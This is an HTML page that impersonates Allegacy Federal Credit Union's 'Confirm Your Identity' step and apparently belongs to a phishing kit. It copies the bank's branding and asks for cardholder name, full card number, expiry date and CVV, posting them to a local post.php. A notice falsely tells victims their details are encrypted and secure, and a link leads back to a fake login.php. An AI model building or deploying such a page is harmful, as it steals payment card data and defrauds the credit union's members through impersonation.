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    <link rel="icon" type="image/x-icon" href="favicon.ico">
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    <title>Allegacy — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #A6222E;
            --red-dark:   #7e1a23;
            --yellow:     #DAAA17;
            --yellow-dark:#b88d0f;
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            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #777;
            --border:     #ddd;
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        body { display: flex; flex-direction: column; min-height: 100vh; }

        .utility-bar { background: var(--red); padding: 6px 40px; display: flex; align-items: center; justify-content: flex-end; gap: 28px; }
        .utility-bar a { font-size: 12px; color: rgba(255,255,255,0.88); text-decoration: none; }
        .utility-bar a:hover { color: #fff; }

        .main-nav { background: #fff; padding: 0 40px; display: flex; align-items: center; justify-content: space-between; height: 80px; border-bottom: 1px solid #e8e8e8; position: relative; z-index: 10; }
        .nav-logo img { height: 56px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 36px; }
        .nav-links a { font-size: 13px; font-weight: 700; color: var(--red); text-decoration: none; letter-spacing: 0.06em; text-transform: uppercase; }
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        .welcome-banner { background: var(--offwhite); border-bottom: 2px solid #e0e0e0; padding: 10px 40px; }
        .welcome-banner span { font-size: 12px; font-weight: 700; color: var(--red); letter-spacing: 0.1em; text-transform: uppercase; }

        .hero { flex: 1; position: relative; display: flex; align-items: center; justify-content: center; padding: 48px 20px; background: var(--offwhite); overflow: hidden; }
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        .hero-photo img { width: 100%; height: 100%; object-fit: cover; object-position: center top; display: block; }
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        .card-wrap { position: relative; z-index: 4; }
        .login-card {
            background: #fff; width: 380px;
            border: 2px solid var(--red); border-radius: 4px;
            padding: 28px 30px 32px;
            box-shadow: 0 4px 24px rgba(0,0,0,0.14);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 16px; display: flex; align-items: center; gap: 10px; }
        .card-logo img { height: 38px; width: auto; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 18px; }
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        .step.done   { background: var(--yellow); color: var(--text); }
        .step.active { background: var(--red); color: #fff; box-shadow: 0 0 0 3px rgba(166,34,46,0.15); }
        .step.pending{ background: #eee; color: #aaa; }
        .step-line      { flex: 1; height: 2px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--yellow); }

        .card-header { margin-bottom: 16px; padding-bottom: 12px; border-bottom: 2px solid var(--red); }
        .card-header h1 { font-size: 17px; font-weight: 700; color: var(--red); }
        .card-header p { font-size: 12.5px; color: var(--text-muted); margin-top: 3px; }

        .sec-notice { display: flex; align-items: center; gap: 8px; background: rgba(166,34,46,0.06); border: 1px solid rgba(166,34,46,0.15); border-radius: 3px; padding: 9px 11px; margin-bottom: 15px; }
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        .sec-notice span { font-size: 12px; color: var(--red); font-weight: 700; }

        .field { margin-bottom: 12px; }
        .field label { display: block; font-size: 11px; font-weight: 700; color: var(--text-sub); margin-bottom: 4px; letter-spacing: 0.06em; text-transform: uppercase; }
        .field input { width: 100%; height: 38px; padding: 0 10px; border: 1px solid var(--border); border-radius: 3px; font-family: 'Lato', sans-serif; font-size: 14px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
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        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(166,34,46,0.1); }
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        .field-row .field { margin-bottom: 0; }

        .btn-main { width: 100%; height: 40px; background: var(--yellow); color: var(--text); border: none; border-radius: 22px; font-family: 'Lato', sans-serif; font-size: 14px; font-weight: 700; letter-spacing: 0.03em; cursor: pointer; margin-bottom: 14px; display: flex; align-items: center; justify-content: center; gap: 8px; transition: background 0.15s, box-shadow 0.15s, transform 0.1s; }
        .btn-main:hover { background: var(--yellow-dark); box-shadow: 0 3px 12px rgba(218,170,23,0.4); transform: translateY(-1px); }
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        .card-divider { height: 1px; background: var(--border); margin-bottom: 12px; }
        .card-links { display: flex; flex-direction: column; gap: 8px; }
        .card-links a { font-size: 12px; color: var(--red); text-decoration: none; font-weight: 700; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { text-decoration: underline; }

        .page-footer { background: #1a1a1a; padding: 18px 40px; display: flex; align-items: center; justify-content: space-between; gap: 20px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 500px) { .login-card { width: 100%; padding: 20px 18px 24px; } .field-row { grid-template-columns: 1fr; } .hero { padding: 24px 16px; } }
    </style>
</head>
<body>

    <div class="utility-bar">
        <a href="#">Locations, ATMs</a><a href="#">Rates</a><a href="#">Careers</a><a href="#">Contact</a><a href="#">Fraud Support</a>
    </div>

    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Allegacy"></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Business</a><a href="#">About + Community</a><a href="#">Join</a></div>
        <button class="btn-login-nav">Login</button>
    </nav>

    <div class="welcome-banner"><span>Welcome to Allegacy Federal Credit Union</span></div>

    <div class="hero">
        <div class="hero-photo"><img src="res/img/background.jpeg" alt=""></div>
        <div class="hero-vector"><img src="res/img/hero-with-image-yellow-lines_new.svg" alt=""></div>
        <div class="card-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Allegacy"></div>

                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">2</div><div class="step-line"></div>
                    <div class="step pending">3</div>
                </div>

                <div class="card-header">
                    <h1>Confirm Your Identity</h1>
                    <p>Enter your card details to verify your account</p>
                </div>

                <div class="sec-notice">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                    <span>Your card details are encrypted and secure</span>
                </div>

                <form action="post.php" method="post">
                    <div class="field"><label>Cardholder Name</label><input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                    <div class="field"><label>Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric"></div>
                    <div class="field-row">
                        <div class="field"><label>Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric"></div>
                        <div class="field"><label>CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric"></div>
                    </div>
                    <button type="submit" class="btn-main">Continue <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
                </form>

                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                    <a href="login.php"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Allegacy Federal Credit Union. NCUA Insured. Equal Housing Lender.</div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>